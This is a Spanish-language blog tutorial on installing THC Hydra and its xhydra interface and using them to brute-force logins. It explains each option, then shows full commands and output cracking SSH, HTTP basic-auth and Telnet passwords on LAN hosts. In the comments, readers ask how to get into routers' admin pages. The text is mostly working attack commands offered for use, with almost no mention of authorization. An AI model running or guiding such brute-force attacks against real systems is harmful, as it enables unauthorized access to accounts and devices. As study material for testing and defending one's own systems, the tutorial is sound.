Inicio > Cracking > Hydra, Ataques de Fuerza Bruta

Hydra, Ataques de Fuerza Bruta


Instalación de THC Hydra

Para instalar THC Hydra solamente es necesario descargar la ultima versión disponible desde:
http://www.thc.org/thc-hydra/

Descargar el fichero tar.gz y descomprimirlo en un directorio.

Finalmente, en dicho directorio, ejecutar:

hydra-6.1-src# ./configure

hydra-6.1-src# make

hydra-6.1-src# make install

En este caso, es necesario tener instalado el paquete build-essentials, para ejecutar el comando “make” En el caso de ataques contra el protocolo SSH, es necesario tener instaladas las librerías libssl-dev y libgtk2.0-dev

Con los comandos anteriores se compila e instala el programa para posteriormente ser usado.

Uso de XHYDRA:

XHydra es una aplicación gráfica de usuario (GUI) que permite hacer uso de todas las características que dispone Hydra, es una herramienta que se instala junto con las librerías de hydra y permite entender mucho mejor las opciones disponibles en la herramienta en cada una de las pestañas disponibles en la aplicación, ademas, en la parte de abajo indica el comando que se llevará a cabo de acuerdo a las opciones indicadas, a continuación se describen cada una de las pestañas de la aplicación:

TARGET

Se declaran los objetivos del ataque, pueden ser de uno a muchos, definiendo las opciones Single Target o Target List, en el caso de target list se define un fichero con los objetivos del ataque, también se permite establecer que el ataque se debe ejecutar preferentemente sobre IPV6 en lugar de IPV4. La opción port define el puerto en el cual se encuentra escuchando el servicio que se desea atacar, por ultimo se define el protocolo a atacar, entre los que se destacan, SSH, cisco, cvs, http-head, http-get, http-proxy, https-head, https-form-get, https-form-post, mysql, pop3, smb, svn, etc.

En esta pestaña también se pueden declarar las opciones de salida del comando, permitiendo un nivel mucho más fino de logs, para ver todo lo que hydra ejecuta en cada momento, las opciones disponibles en esta área son: Use SSL, Be Verbose, Show Attempts y Debug.

Hasta este punto la estructura del comando hydra puede contener los siguientes valores:

Múltiples Objetivos:
hydra -M <DIR_WORDLIST>/targets.lst [protocolo: ssh, ssh2, smb, rlogin, postgres, mysql, svn, cvs, socks5, telnet, vnc, ftp, cisco, http-proxy, http-get, http-head, imap, ldap2, ldap3, …] -s puerto

ejem:

hydra -M /targets.lst ssh -s 22

Único Objetivo:

hydra [IP_TARGET] [protocolo: ssh, ssh2, smb, rlogin, postgres, mysql, svn, cvs, socks5, telnet, vnc, ftp, cisco, http-proxy, http-get, http-head, imap, ldap2, ldap3, …] -s puerto

ejem:

hydra 192.168.1.22 ssh -s 22

PASSWORDS

Esta pestaña es la mas importante, dado que aquí se definen los atributos obligatorios para la ejecución del comando hydra, a saber, un nombre de usuario único/listado de usuarios y un password único/listado de passwords. En el caso que se trate de usuario o password simple, solamente basta con indicarlo en los campos de texto, en el caso de que se cuente con un diccionario para usuarios o passwords debe indicarse la ruta absoluta donde se encuentran ubicados dichos archivos, puede darse el caso en el que contemos con un usuario valido y sobre este, ejecutamos el ataque de fuerza bruta con un diccionario de passwords en busca de un login exitoso, al igual que podríamos tener un password valido y definir un listado de usuarios (aunque es un caso muy poco frecuente). Por otro lado podemos definir la estructura de dichos wordlist en el caso de que el tenga cada entrada separada por comas, se usa la opción “Use colon separated file”, de otra forma cada entrada se ubica en cada linea del archivo cuyo delimitador es simplemente el salto de linea.

Finalmente se pueden definir las opciones de “Try Login as a Password” y “Try Empty password”

Hasta este punto el comando puede tener la siguiente estructura:

Usuario Único/Password Único:

hydra {OPCIONES_TAB_TARGET} -l nombreUsuario -p password

ejem:
hydra {OPCIONES_TAB_TARGET} -l admin -p clavesegura

Usuario Único/Listado de Password

hydra {OPCIONES_TAB_TARGET} -l admin -P <DIR_WORDLIST>/file.lst

ejem:
hydra {OPCIONES_TAB_TARGET} -l admin -P /home/wordlistUser.lst

Listado Usuarios/Password Único

hydra {OPCIONES_TAB_TARGET} -L <DIR_WORDLIST>/file.lst -p password

ejem:
hydra {OPCIONES_TAB_TARGET} -L /home/wordlistUser.lst -p clavesegura

Listado Usuarios/Listado Passwords

hydra {OPCIONES_TAB_TARGET} -L /home/wordlistUser.lst -P <DIR_WORDLIST>/file.lst

ejem:
hydra {OPCIONES_TAB_TARGET} -L /home/wordlistUser.lst -P <DIR_WORDLIST>/pass.lst

Fichero separado por comas

hydra {OPCIONES_TAB_TARGET} -C <DIR_WORDLIST>/file.lst

ejem:
hydra {OPCIONES_TAB_TARGET} -C /home/usersandpass.lst

Intentar login como password:

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e s

ejem:
hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e s

Intentar password vació:

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e ns

ejem:
hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e ns

TUNNING

Son opciones para mejorar el desempeño del ataque, sin embargo no deben de ser tomadas a la ligera en especial con el establecimiento de valores muy elevados, esto debido a que muchos protocolos detectan este tipo de ataques cuando se hacen de forma muy repetitiva o en otros casos podríamos provocar denegación del servicio, inclusive algunos protocolos habilitan lo que es conocido como “listas negras” donde se registra la dirección del atacante y ante los posteriores intentos de conexión  por parte de dicha IP la petición es automáticamente rechazada.

Dentro de las opciones de performance encontramos la opción de numero de tareas, que indica el número de hilos en ejecución de hydra, este valor establece un nuevo proceso hydra en ejecución, por lo tanto un valor muy alto puede dañar considerablemente el desempeño general del ordenador desde donde se ejecute este comando, llegando inclusive a consumir absolutamente todos los recursos del mismo, por lo tanto es un valor del que no se debe abusar (a menos que se cuente con un ordenador muy robusto en terminos de hardware y capacidad de procesamiento). Por otro lado la opción de TimeOut define el tiempo de espera de cada una de las peticiones en segundos, en el caso de que este tiempo se alcance automáticamente el proceso de hydra finaliza su ejecución para la iteración correspondiente al ataque que a alcanzado el tiempo máximo, es decir, este tiempo en segundos será el tiempo que el proceso de Hydra esperará antes de lanzar la siguiente entrada de usuario/clave del ataque, este valor también puede afectar negativamente el desempeño del ordenador, en especial si se utiliza junto con un valor muy alto para el numero de tareas.

Finalmente es posible establecer valores de autenticación sobre un proxy HTTP u otro, donde se debe especificar la dirección del proxy y si esté requiere autenticación los valores correspondientes a la clave y el usuario.

En el caso de utilizar un proxy, este puede definirse de manera persistente en las varables de entorno: HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT y HYDRA_PROXY_AUTH. Algunos valores validos para estas variables:

HYDRA_PROXY_HTTP=”http://192.168.67.89:8080/

HYDRA_PROXY_CONNECT=proxy.anonimo.com:8000

HYDRA_PROXY_AUTH=”login:password”

Numero de tareas

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -t numero_tareas

ejem:
hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -t 3

TimeOut

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -w numero_segundos

ejem:
hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -w 15

SPECIFIC

Aquí se definen algunas opciones adicionales especificas para algunos de los protocolos soportados, estas opciones definen características obligatorias para la correcta ejecución del ataque contra un objetivo. Estas opciones especificas son:

http-proxy-module

Indica la ruta donde se establece el modulo proxy para realizar los ataques.

http /https url

Indica una ruta normalmente protegida por control de acceso, ya sea por HTTP o HTTPS.

Cisco enable, Login for Cisco Device

Valor de clave para un router cisco.

LDAP DN

Indica la raíz del directorio de LDAP donde se intenta ejecutar un ataque de fuerza bruta, esta opción es valida para protocolos ldap2 y ldap3

SMBNT

Diferentes tipos de ataques contra estructuras Samba, los valores posibles son: cuentas locales, cuentas de dominio, Interpretación de passwords como NTLM hashes.

CVS/SVN

Indicar la raíz del directorio CVS o SVN, por defecto es trunk.

Telnet

El el caso de un login exitoso, el mensaje que se debe de enseñar en la consola

Start

Finalmente en la pestaña de Start se puede iniciar el ataque con todas las opciones establecidas, teniendo la posibilidad de detener el ataque, almacenar la salida en un fichero de texto y visualizarla en una área de texto habilitada para dicho fin.

USO DE HYDRA

Aunque con XHYDRA se definen la mayoría de las opciones disponibles en la herramienta, existen otra serie de opciones adiciones que no se contemplan y que pueden ser utilizadas directamente desde la consola de comandos, el listado total de las opciones actualmente disponibles (versión 6.1 a la hora de escribir este documento)

hydra -h

Hydra v6.1 [http://www.thc.org] (c) 2011 by van Hauser / THC <vh@thc.org>

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

[-4|-6] server service [OPT]

Options:

-R restore a previous aborted/crashed session

-S connect via SSL

-s PORT if the service is on a different default port, define it here

-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE

-p PASS or -P FILE try password PASS, or load several passwords from FILE

-e ns additional checks, “n” for null password, “s” try login as pass

-C FILE colon separated “login:pass” format, instead of -L/-P options

-M FILE server list for parallel attacks, one entry per line

-o FILE write found login/password pairs to FILE instead of stdout

-f exit after the first found login/password pair (per host if -M)

-t TASKS run TASKS number of connects in parallel (default: 16)

-w TIME defines the max wait time in seconds for responses (default: 30)

-4 / -6 prefer IPv4 (default) or IPv6 addresses

-v / -V verbose mode / show login+pass combination for each attempt

server the target server (use either this OR the -M option)

service the service to crack. Supported protocols: telnet ftp pop3 imap smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth pcanywhere teamspeak sip vmauthd firebird ncp afp

OPT some service modules need special input (see README!)

En ocasiones, los ataques son cancelados por multitud de razones, hydra en estos casos genera un fichero llamado “hydra.restore” que contiene la última sesión ejecutada por THC Hydra, de este modo es posible continuar con ataques inconclusos partiendo desde el ultimo estado del ataque, para esto se emplea la opción -R

Ataques de fuerza bruta contra SSH

Para realizar un ataque contra SSH es obligatorio tener instaladas las librerías libssl-dev y libgtk2.0-dev, ya que son dependencias que utiliza hydra para la ejecución de ataques contra ssh, entre otros protocolos seguros.

hydra 192.168.1.33 -l adastra -P /home/adastra/UTILITIES/userPass.lst -t 2 -vV -s 4321 ssh

Hydra v6.1 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-04-05 21:29:19

[DATA] 2 tasks, 1 servers, 5 login tries (l:1/p:5), ~2 tries per task

[DATA] attacking service ssh on port 4321

[VERBOSE] Resolving addresses … done

[ATTEMPT] target 192.168.1.33 – login “adastra” – pass “admin” – child 0 – 1 of 5

[ATTEMPT] target 192.168.1.33 – login “adastra” – pass “root” – child 1 – 2 of 5

[ATTEMPT] target 192.168.1.33 – login “adastra” – pass “hanyn” – child 0 – 3 of 5

[ATTEMPT] target 192.168.1.33 – login “adastra” – pass “user” – child 1 – 4 of 5

[4321][ssh] host: 192.168.1.33 login: adastra password: hanyn

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 127.0.0.1 (waiting for children to finish)

Hydra (http://www.thc.org) finished at 2011-04-05 21:29:23

Ataques de fuerza bruta contra HTTPS

Algunos sitios se encuentran restringidos con mensajes de usuario y clave contenidos en la propia petición, a diferencia de aquellos que se enseñan al usuario a modo de formulario web con usuario y clave, este tipo de autenticación viaja en método get, sin embargo no se pueden ver las credenciales en texto plano en la barra de navegación dado que la comunicación viaja en forma segura por medio del protocolo HTTPS, sin embargo, tanto como si se trata de un formulario web, como de un popup de autenticación, hydra permite atacar ambos mecanismos de la misma forma:

hydra 192.168.1.1 -l 1234 -P /home/adastra/UTILITIES/userPass.lst -t 2 -vV -s 80 http-get -m /passwords.html

Hydra v6.1 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-04-05 21:44:58

[DATA] 2 tasks, 1 servers, 5 login tries (l:1/p:5), ~2 tries per task

[DATA] attacking service http-get on port 80

[VERBOSE] Resolving addresses … done

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 1 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “root” – child 1 – 2 of 5

C1:GET /passwords.html HTTP/1.0

Host: 192.168.1.1

Authorization: Basic MTIzNDphZG1pbg==

User-Agent: Mozilla/4.0 (Hydra)

C1:GET /passwords.html HTTP/1.0

Host: 192.168.1.1

Authorization: Basic MTIzNDpyb290

User-Agent: Mozilla/4.0 (Hydra)

S:HTTP/1.1 401 Unauthorized

Server: micro_httpd

Cache-Control: no-cache

Date: Sat, 01 Jan 2000 10:15:39 GMT

WWW-Authenticate: Basic realm=”DSL Router”

Content-Type: text/html

Connection: close

<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>

<BODY BGCOLOR=”#cc9999″><H4>401 Unauthorized</H4>

Authorization required.

<HR>

<ADDRESS><A HREF=”http://www.acme.com/software/micro_httpd/”>micro_httpd</A></ADDRESS&gt;

</BODY></HTML>

………………………………………………..

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 3 of 5

C1:GET /passwords.html HTTP/1.0

Host: 192.168.1.1

Authorization: Basic MTIzNDp1c2Vy

User-Agent: Mozilla/4.0 (Hydra)

S:HTTP/1.1 200 Ok

Server: micro_httpd

Cache-Control: no-cache

Date: Sat, 01 Jan 2000 10:15:39 GMT

Content-Type: text/html

Connection: close

[80][www] host: 192.168.1.1 login: 1234 password: admin

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 192.168.1.1 (waiting for children to finish)

Hydra (http://www.thc.org) finished at 2011-04-05 21:44:59

Anteriormente en el comando se ha especificado la opción -m indicando la pagina hacia la cual queremos acceder,

Ataques de fuerza bruta contra TELNET

Del mismo modo que con cualquier servicio que requiera autenticación para realizar una conexión, si la maquina objetivo tiene el servicio de telnet activo, es susceptible de ataques de fuerza bruta con el fin de obtener un login exitoso en base a un diccionario de usuarios y claves:

hydra 192.168.1.1 -l 1234 -P /home/adastra/UTILITIES/userPass.lst -t 2 -vV -s 23 telnet

Hydra v6.1 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-04-05 21:56:32

[DATA] 2 tasks, 1 servers, 5 login tries (l:1/p:5), ~2 tries per task

[DATA] attacking service telnet on port 23

[VERBOSE] Resolving addresses … done

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 1 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “root” – child 1 – 2 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 3 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “user” – child 1 – 4 of 5

[23][telnet] host: 192.168.1.1 login: 1234 password: admin

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 192.168.1.1 (waiting for children to finish)

Hydra (http://www.thc.org) finished at 2011-04-05 21:56:32

Como nota final, para realizar un ataque de fuerza bruta no se necesitan habilidades especiales ni conocimientos profundos sobre el sistema que se intenta atacar, posiblemente por está razón es tan popular por “lammers” y “script kiddies” ya que no requiere mayores esfuerzos, el exito de este tipo de ataques es directamente proporcional a la calidad del diccionario a utilizar, ya que entre más completo sea, las probabilidades de exito son mucho mayores.

  1. abril 10, 2011 en 9:16 pm

    Me sale error en esta instalacion de Hydra tengo q instalar los paquetes SSL y SSH pero no se como hacerlo si lo explicaras desde el comienzo seria bueno.

    Saudos y muy buena pagina.

    • adastra
      abril 10, 2011 en 9:58 pm

      Hola Lesther,
      Se trata de un error frecuente que he olvidado anotar en la entrada, para que el funcionamiento sea el esperado, es necesario instalar la libreria libssh 0.4.6 o superior, (se recomienda la version 0.4.7) que se encuentra disponible en:

      http://www.libssh.org/

      Debes descargar el fichero tar.gz de la libreria, descomprimir el contenido y compilar el codigo fuente, para mayor informacion sobre la compilacion e instalacion de esta libreria, lee el fichero INSTALL y README en el directorio descomprimido.
      Una vez hayas cumplido con las dependencias alli indicadas y puedas instalar libssh, te instalas la libreria libssl, si tienes una version de GNU/Linux como Debian o Ubuntu, simplemente apt-get install libssl-dev
      finalmente puedes proceder a instalar Hydra.

  2. abril 11, 2011 en 9:37 pm

    Gracias vere el proceso que mencionas, adicionalmente a esto si no regreso a este post especifico entonces quiere decir que me funciono lo que dices.

    Gracias Bro….

  3. winkpoo
    octubre 15, 2011 en 3:50 pm

    Buenas, muy buen tutorial. De los mejor explicados que he visto sobre Hydra.

    En el caso de un router que solo pide un solo campo para poder acceder a su configuración?

    Cuál crees que seria el comando concreto o configuración de Xhydra?

    Me estoy volviendo loco pero no hay forma de sacarlo. Sé el password y lo meto en el diccionario pero el hydra siempre quiere un campo -l. Es decir no acepta que el campo usuario o el campo password no existan.

    • octubre 15, 2011 en 4:30 pm

      Es una situación “curiosa” ya que para utilizar hydra, se espera como mínimo esos dos parámetros (usuario/diccionario de usuarios, password/diccionario passwords) si uno de los dos no es especificado, no funcionará el ataque…
      Con los routers que he tenido, siempre he necesitado un usuario y una clave para acceder (consola web o cualquiera de sus servicios) lo que se me ocurre es, que intentes especificar un valor para el usuario no contenga nada, por ejemplo una cadena vacía o un fichero sin contenidos y ver que pasa… por cierto, cual es el modelo del router? a lo mejor tambien puede ocurrir que existe un único usuario por defecto para la autenticación con dicho router y por eso solo pide password, documentaté sobre el router al que intentas acceder, a ver si obtienes más información.
      Un Saludo.

      • winkpoo
        octubre 15, 2011 en 5:42 pm

        Buenas,

        Pues no creas que lo he intentado todo (hasta donde yo sé).

        Los routers que estoy probando son un 3Com (el de las 2 antenas) con el firmware de serie, y otro una fonera con el firmware de Gargoyle.

        Probaré un poco más a ver.

        Si logro algo, lo comento.

  4. octubre 15, 2011 en 6:43 pm

    De acuerdo, suerte con eso, si veo algo relacionado con dichos routers lo comentaré.
    Un Saludo

  5. lucas
    agosto 17, 2014 en 7:22 pm

    hola tienes algún vídeo tutorial para atacar un router y sacar la pass de acceso a la configuracion desde un pc conectado por cable

  1. No trackbacks yet.

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 932 seguidores

%d personas les gusta esto: